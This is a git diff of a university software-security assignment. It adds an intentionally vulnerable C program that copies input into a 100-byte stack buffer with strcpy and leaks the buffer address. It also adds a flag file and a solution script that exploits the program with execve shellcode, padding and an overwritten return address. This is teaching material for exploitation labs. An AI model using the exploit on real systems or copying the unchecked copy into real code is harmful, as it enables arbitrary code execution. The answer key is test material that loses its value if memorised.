diff --git a/Assignment 6 - Software Security - Teil 2/abgabe.tex b/Assignment 6 - Software Security - Teil 2/abgabe.tex new file mode 100644 index 0000000..e69de29 diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png b/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png new file mode 100644 index 0000000..e77df7c Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/basic_overflow/Bildschirmfoto vom 2024-06-14 15-42-29.png differ diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow new file mode 100755 index 0000000..9aa100c Binary files /dev/null and b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow differ diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c new file mode 100644 index 0000000..233e6e2 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/basic_overflow.c @@ -0,0 +1,24 @@ +#include +#include +#include + +// vulnerable function +int overflow_me(char* input) +{ + char buff[100]; + printf("Buffer is at %p\n", &buff); // buff's address is leaked :O + strcpy(buff, input); + + return 1; +} + +int main(int argc, char *argv[]) +{ + if(argc < 2) + { + printf("Syntax: %s \n", argv[0]); + exit (0); + } + overflow_me(argv[1]); + return 0; +} diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/flag b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag new file mode 100644 index 0000000..9007b49 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/flag @@ -0,0 +1 @@ +flag{THAT_WAS_EASY_HUH} \ No newline at end of file diff --git a/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh new file mode 100755 index 0000000..6c47ae7 --- /dev/null +++ b/Assignment 6 - Software Security - Teil 2/basic_overflow/solution.sh @@ -0,0 +1,14 @@ +#!/bin/bash + +# flag{THAT_WAS_EASY_HUH} + +######### Exploit ######### +# Step 1: Write the provided shellcode to stdout +printf "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80" + +# Step 2: Fill the buffer with 'A's until the stored EIP is reached +printf "A%.0s" {1..91} + +# Step 3: Overwrite the stored EIP with the address of the shellcode +printf "\x2c\xd5\xff\xff" +###########################